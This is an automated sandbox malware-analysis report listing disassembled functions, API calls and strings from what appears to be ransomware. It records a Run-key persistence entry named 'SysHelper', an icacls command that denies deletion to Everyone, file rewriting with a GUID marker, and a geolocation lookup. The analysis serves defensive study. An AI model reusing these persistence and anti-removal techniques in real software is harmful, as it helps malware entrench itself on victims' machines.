Address: %s, mac: %s, xrefs: 00F6E72D
%02X:%02X:%02X:%02X:%02X:%02X, xrefs: 00F6E71A
Error allocating memory needed to call GetAdaptersinfo, xrefs: 00F6E699

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$AdaptersHeapInfo$AllocateErrorFreeLast_sprintf
String ID: %02X:%02X:%02X:%02X:%02X:%02X$Address: %s, mac: %s$Error allocating memory needed to call GetAdaptersinfo
API String ID: 3901070236-1604013687
Opcode ID: 013a39c7b7189c5abf885c31c064970f26772c02297b44bf20fddbd276957bf7
Instruction ID: 69bed65e87c717abdba4e16923ae9c54afda8977c85a1e4e0021e3a94f56d02e
Opcode Fuzzy Hash: 013a39c7b7189c5abf885c31c064970f26772c02297b44bf20fddbd276957bf7
Instruction Fuzzy Hash: 141159B29005547BC2B1B6B54C02EFF36DC8F46711F040169FED8D5102EB9D5A0573B1

Function 00F6FB98 Relevance: 15.3, APIs: 10, Instructions: 266
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PathAppendW.SHLWAPI(?,?), ref: 00F6FBD5
_memmove.LIBCMT ref: 00F6FC3C
PathFileExistsW.SHLWAPI(?,?,?,00000007), ref: 00F6FC63
_malloc.LIBCMT ref: 00F6FC72
lstrcpyW.KERNEL32(00000000,?), ref: 00F6FC8C
lstrcatW.KERNEL32(00000000,?), ref: 00F6FCA5
_free.LIBCMT ref: 00F6FCD7

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Path$AppendExistsFile_free_malloc_memmovelstrcatlstrcpy
String ID:
API String ID: 3232302685-0
Opcode ID: fabd7840ed6801d591596ae6683969519c5e48bd231fbfc3cef58c285aee1d31
Instruction ID: 671dec2b898b78562e3e58fc00d6130ba8710df818718026dfa45189ca9aaab1
Opcode Fuzzy Hash: fabd7840ed6801d591596ae6683969519c5e48bd231fbfc3cef58c285aee1d31
Instruction Fuzzy Hash: A2B1AE70D00209DBDF20EFA4DC45BDEB7B5BF15318F104069E409AB251EB76AA48DF92

Function 00F71CD0 Relevance: 79.1, APIs: 36, Strings: 9, Instructions: 382
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,0102AC68,000000FF), ref: 00F71D12
_memset.LIBCMT ref: 00F71D3B
RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00F71D63
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0102AC68,000000FF), ref: 00F71D6C
lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00F71DD6
PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00F71E48
LoadLibraryW.KERNEL32(Shell32.dll,?,?), ref: 00F71E99
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 00F71EA5
GetCommandLineW.KERNEL32 ref: 00F71EB4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 00F71EBF
lstrcpyW.KERNEL32(?,00000000), ref: 00F71ECE
PathFindFileNameW.SHLWAPI(?), ref: 00F71EDB
UuidCreate.RPCRT4(?), ref: 00F71EFC
UuidToStringW.RPCRT4(?,?), ref: 00F71F14
RpcStringFreeW.RPCRT4(00000000), ref: 00F71F64
PathAppendW.SHLWAPI(?,?), ref: 00F71F83
CreateDirectoryW.KERNEL32(?,00000000), ref: 00F71F8E
PathAppendW.SHLWAPI(?,?,?,?), ref: 00F7202D
DeleteFileW.KERNEL32(?), ref: 00F72036
CopyFileW.KERNEL32(?,?,00000000), ref: 00F7204C
RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 00F7206E
_memset.LIBCMT ref: 00F72090
lstrcpyW.KERNEL32(?,010602FC), ref: 00F720AA
lstrcatW.KERNEL32(?,?), ref: 00F720C0
lstrcatW.KERNEL32(?," --AutoStart), ref: 00F720CE
lstrlenW.KERNEL32(?), ref: 00F720D7
RegSetValueExW.ADVAPI32(00000000,SysHelper,00000000,00000002,?,00000000), ref: 00F720F3
RegCloseKey.ADVAPI32(00000000), ref: 00F720FC
_memset.LIBCMT ref: 00F72120
SetLastError.KERNEL32(00000000), ref: 00F72146
lstrcpyW.KERNEL32(?,icacls "), ref: 00F72158
lstrcatW.KERNEL32(?,?), ref: 00F7216D

Strings

icacls ", xrefs: 00F7214C
SysHelper, xrefs: 00F71D5B, 00F720EB
D, xrefs: 00F72128
" --AutoStart, xrefs: 00F71DD1
SHGetFolderPathW, xrefs: 00F71E9F
" /deny *S-1-1-0:(OI)(CI)(DE,DC), xrefs: 00F7216F
" --AutoStart, xrefs: 00F720C2
Shell32.dll, xrefs: 00F71E94
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00F71D06, 00F72064

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: FilePath$_memsetlstrcatlstrcpy$AppendCloseCommandCreateLineOpenStringUuidValuelstrlen$AddressArgvCopyDeleteDirectoryErrorExistsFindFreeLastLibraryLoadNameProcQuery
String ID: " --AutoStart$" --AutoStart$" /deny *S-1-1-0:(OI)(CI)(DE,DC)$D$SHGetFolderPathW$Shell32.dll$Software\Microsoft\Windows\CurrentVersion\Run$SysHelper$icacls "
API String ID: 2589766509-1182136429
Opcode ID: e6fba6f39abb6b8e7608406372789da6e2dce6b87f249ae8d458dd8ddfbc10a6
Instruction ID: 52a3434ed91e7e1b218c06834ff80381e51697829556f375ce9d8290480dc111
Opcode Fuzzy Hash: e6fba6f39abb6b8e7608406372789da6e2dce6b87f249ae8d458dd8ddfbc10a6
Instruction Fuzzy Hash: 84E16E71D4021AABDF34DFA4CD49BEEB7B8BF04704F14806AE509A6140EB796A88DF51

Function 00F711C0 Relevance: 65.3, APIs: 36, Strings: 1, Instructions: 551
filestringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32(00000000,C0000000,00000001,00000000,00000003,00000080,00000000,?,00000000,?), ref: 00F7120F
GetFileSizeEx.KERNEL32(00000000,?,?,00000000,?), ref: 00F71228
CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 00F7123D
MoveFileW.KERNEL32(00000000,?), ref: 00F71277
VirtualAlloc.KERNEL32(00000000,00025815,00001000,00000004,?,00000000,?), ref: 00F712B1
_memset.LIBCMT ref: 00F712C8
SetFilePointerEx.KERNEL32(00000000,?,00000000,00000000,00000000,?,00000000,?), ref: 00F71301
VirtualFree.KERNEL32(00000000,00000000,00008000,?,00000000,?), ref: 00F71314
CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 00F7131B
ReadFile.KERNEL32(00000000,00000000,00000026,?,00000000,?,00000000,?), ref: 00F71349
VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,?,00000000,?), ref: 00F71381
CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 00F71388
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?), ref: 00F713E6
ReadFile.KERNEL32(00000000,00000000,00025805,?,00000000,?,00000000,?), ref: 00F71409
VirtualFree.KERNEL32(00000000,00000000,00008000,?,00000000,?), ref: 00F71417
CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 00F7141E
lstrlenA.KERNEL32(?,?,00000000,?), ref: 00F71471
lstrlenA.KERNEL32(?,?,?,00000000,?), ref: 00F71491
lstrlenA.KERNEL32(?,00000000,?,?,?,?,?,00000000,?), ref: 00F714CF
SetFilePointer.KERNEL32(00000000,00000005,00000000,00000000,00000005,00000000,-000000FB,-000000FB,00000000,00000000,000000FF,00000000,00000000,00000000), ref: 00F7159D
SetFilePointerEx.KERNEL32(00000000,?,00000000,00000000,00000000,?,00000000,?), ref: 00F715D0
WriteFile.KERNEL32(00000000,?,00000000,00000000,00000000,?,00000000,?), ref: 00F715F8
WriteFile.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 00F71649
lstrlenA.KERNEL32({36A698B9-D67C-4E07-BE82-0EC5B14B4DF5},00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00F7166B
WriteFile.KERNEL32(00000000,{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5},00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00F71678
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?), ref: 00F7168D
MoveFileW.KERNEL32(?,?), ref: 00F716D6
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00F716EB

Strings

{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}, xrefs: 00F71364, 00F71666, 00F71672

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: File$CloseHandleVirtual$FreePointerlstrlen$Write$MoveRead$AllocCreateSize_memset
String ID: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
API String ID: 254274740-1186676987
Opcode ID: f0a1a5005e2ef31a5cb8012c79683473a6c59d8a30e129d3440f0c0f1932640f
Instruction ID: 02bbd69e8b95529fc082295c3311c9b7dc825f2f232c605240a20c1bc7cc2495
Opcode Fuzzy Hash: f0a1a5005e2ef31a5cb8012c79683473a6c59d8a30e129d3440f0c0f1932640f
Instruction Fuzzy Hash: 7F22A371D00208ABEB24DFA8DC85FEEB778FF05314F208159F519A7281DB795A48DB62

Function 00F72220 Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 116
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32 ref: 00F72235
CommandLineToArgvW.SHELL32(00000000,?), ref: 00F72240
PathFindFileNameW.SHLWAPI(00000000), ref: 00F72248
LoadLibraryW.KERNEL32(kernel32.dll), ref: 00F72256
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 00F7226A
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00F72275
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 00F72280
LoadLibraryW.KERNEL32(Psapi.dll), ref: 00F72291
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 00F7229F
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00F722AA
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 00F722B5
K32EnumProcesses.KERNEL32(?,0000A000,?), ref: 00F722CD
OpenProcess.KERNEL32(00000410,00000000,?), ref: 00F722FE
K32EnumProcessModules.KERNEL32(00000000,?,00000004,?), ref: 00F72315
K32GetModuleBaseNameW.KERNEL32(00000000,?,?,00000400), ref: 00F7232C
CloseHandle.KERNEL32(00000000), ref: 00F72347

Strings

Psapi.dll, xrefs: 00F7228C
GetModuleBaseNameW, xrefs: 00F72277, 00F722AC
kernel32.dll, xrefs: 00F7224E
EnumProcesses, xrefs: 00F72264, 00F72299
EnumProcessModules, xrefs: 00F7226C, 00F722A1

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: AddressProc$CommandEnumLibraryLineLoadNameProcess$ArgvBaseCloseFileFindHandleModuleModulesOpenPathProcesses
String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Psapi.dll$kernel32.dll
API String ID: 3668891214-3807497772
Opcode ID: d74c837b138e31b7a914c6dcbaa45979da31973b7ac312abd8bb40c4399524a9
Instruction ID: 1302ec73697294ae4d0e0a7dd5444e2b6609e646d9893c5721b6df4b69f9cd76
Opcode Fuzzy Hash: d74c837b138e31b7a914c6dcbaa45979da31973b7ac312abd8bb40c4399524a9
Instruction Fuzzy Hash: 98318371E40219AFEB20AFA5CC45EAEB7BCEF45315F10806AF544E7100DB799E019FA1

Function 00F7F130 Relevance: 21.7, APIs: 11, Strings: 1, Instructions: 689sleeptimewindowCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00F7F15E
Sleep.KERNEL32(?), ref: 00F7F185
Sleep.KERNEL32(?), ref: 00F7F19D
SendMessageW.USER32(?,00008003,00000000,00000000), ref: 00F7F9D0

Part of subcall function 00F70A50: GetLogicalDrives.KERNEL32 ref: 00F70A75
Part of subcall function 00F70A50: SetErrorMode.KERNEL32(00000001,01060234,00000002), ref: 00F70AE2
Part of subcall function 00F70A50: PathFileExistsA.SHLWAPI(?), ref: 00F70AF9
Part of subcall function 00F70A50: SetErrorMode.KERNEL32(00000000), ref: 00F70B02
Part of subcall function 00F70A50: GetDriveTypeA.KERNEL32(?), ref: 00F70B1B

Strings

C:\, xrefs: 00F7F1FC, 00F7F267, 00F7F709, 00F7F72E, 00F7F736

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: ErrorModeSleep$DriveDrivesExistsFileLogicalMessagePathSendTimeTypetime
String ID: C:\
API String ID: 3672571082-3404278061
Opcode ID: a7faa484daf64f0f2394ff0d7cb85c571b83855863c21e5e6cb90b7fb127e579
Instruction ID: a8f6118431278e233445526ecb13a91473e80e00f4387a01c70c8ce3cef810e5
Opcode Fuzzy Hash: a7faa484daf64f0f2394ff0d7cb85c571b83855863c21e5e6cb90b7fb127e579
Instruction Fuzzy Hash: 3F428171D00305DBDF24DFA8CC85BAEB7F1BF44314F24852AE849AB281D775A909DB92

Function 00F6CF10 Relevance: 21.2, APIs: 6, Strings: 6, Instructions: 228
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 00F6CF4A
InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 00F6CF5F
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 00F6CFA6
InternetReadFile.WININET(00000000,?,00002800,?), ref: 00F6CFCD
InternetCloseHandle.WININET(00000000), ref: 00F6CFDA
InternetCloseHandle.WININET(00000000), ref: 00F6CFDD

Strings

Microsoft Internet Explorer, xrefs: 00F6CF5A
https://api.2ip.ua/geo.json, xrefs: 00F6CF79
(, xrefs: 00F6D149
$, xrefs: 00F6D142
, xrefs: 00F6D13B
"country_code":", xrefs: 00F6CFE1

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$FileRead_memset
String ID: $"country_code":"$$$($Microsoft Internet Explorer$https://api.2ip.ua/geo.json
API String ID: 1485416377-933853286
Opcode ID: 52f9414cfe08744410c4b61f2d9d69cc1c6dfdbdf6dd6869dc1901a9871e6a63
Instruction ID: 4a996b2dcb792cd709c33a137ab6df5e61d740f72e7dce74b4dae190888f0ba7
Opcode Fuzzy Hash: 52f9414cfe08744410c4b61f2d9d69cc1c6dfdbdf6dd6869dc1901a9871e6a63
Instruction Fuzzy Hash: C891E371E40208EBEF24DFA0CD45BEEBBB4AF05704F244059E4457B281DBB65A48EFA1

Function 00F7BAE0 Relevance: 18.3, APIs: 12, Instructions: 320
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostQuitMessage.USER32(00000000), ref: 00F7BB49
DefWindowProcW.USER32(?,?,?,?), ref: 00F7BBBA
_malloc.LIBCMT ref: 00F7BBE4
GetComputerNameW.KERNEL32(00000000,?), ref: 00F7BBF4
_free.LIBCMT ref: 00F7BCD7

Part of subcall function 00F71CD0: RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,0102AC68,000000FF), ref: 00F71D12
Part of subcall function 00F71CD0: _memset.LIBCMT ref: 00F71D3B
Part of subcall function 00F71CD0: RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00F71D63
Part of subcall function 00F71CD0: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0102AC68,000000FF), ref: 00F71D6C
Part of subcall function 00F71CD0: lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00F71DD6
Part of subcall function 00F71CD0: PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00F71E48

IsWindow.USER32(?), ref: 00F7BF69
DestroyWindow.USER32(?), ref: 00F7BF7B
DefWindowProcW.USER32(?,00008003,?,?), ref: 00F7BFA8

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Window$Proc$CloseComputerDestroyExistsFileMessageNameOpenPathPostQueryQuitValue_free_malloc_memsetlstrlen
String ID:
API String ID: 3873257347-0
Opcode ID: 161fd7718a29835a70aec87921e289ac7541259ad5c69452ef206b5372162659
Instruction ID: 85b8b1fbfbf80b9487f4c3148f6faddc7cc51a22c90dfe9e59c7a7841402d155
Opcode Fuzzy Hash: 161fd7718a29835a70aec87921e289ac7541259ad5c69452ef206b5372162659
Instruction Fuzzy Hash: ECC1C0719083409FEB20DF28DC45B9ABBE0BF86714F14891EF88C87291D77A9914DB53

Function 00F6C740 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 254
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00F80FDD: __wfsopen.LIBCMT ref: 00F80FE8

_fgetws.LIBCMT ref: 00F6C7BC
_memmove.LIBCMT ref: 00F6C89F
CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 00F6C94B

Strings

C:\SystemID\PersonalID.txt, xrefs: 00F6C77C, 00F6C956
C:\SystemID, xrefs: 00F6C946

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: CreateDirectory__wfsopen_fgetws_memmove
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2864494435-54166481
Opcode ID: 2a08c937a07e38a3c1ea02d065a3a7dde6a1fc263f19b27154203dabfe488f47
Instruction ID: 44060ffb5cae00f886bc00a5aa7d12aa312478a411b4a860df3c9aa3d8c2ea48
Opcode Fuzzy Hash: 2a08c937a07e38a3c1ea02d065a3a7dde6a1fc263f19b27154203dabfe488f47
Instruction Fuzzy Hash: 13919F72D003199BDF20EFA4CC857EEB7B5AF04714F140529E8D5A7241E779AA04EBE1

Function 00F6C6A0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 49
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion,00000000,000F003F,00F7E6D4), ref: 00F6C6C2
RegQueryValueExW.KERNEL32(00000000,SysHelper,00000000,00000004,?,?), ref: 00F6C6F3
RegCloseKey.ADVAPI32(00000000), ref: 00F6C700
RegSetValueExW.ADVAPI32(00000000,SysHelper,00000000,00000004,?,00000004), ref: 00F6C725
RegCloseKey.ADVAPI32(00000000), ref: 00F6C72E

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 00F6C6B8
SysHelper, xrefs: 00F6C6EB, 00F6C71D

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: CloseValue$OpenQuery
String ID: Software\Microsoft\Windows\CurrentVersion$SysHelper
API String ID: 3962714758-1667468722
Opcode ID: e3483487b1ca170160ceb6104893f6ceb84115d5218da4f3c9b3e2b29e41c8f4
Instruction ID: 1fe9f30f715d0352432ae152e73bfef7d31caf3ba88de6c6a98ed38160f1e90d
Opcode Fuzzy Hash: e3483487b1ca170160ceb6104893f6ceb84115d5218da4f3c9b3e2b29e41c8f4
Instruction Fuzzy Hash: F5112175940208FBEB209F90CD49FEEBB78EB04715F204195FA44B6141D7B95B14AB94

Function 00F7E6E8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 44
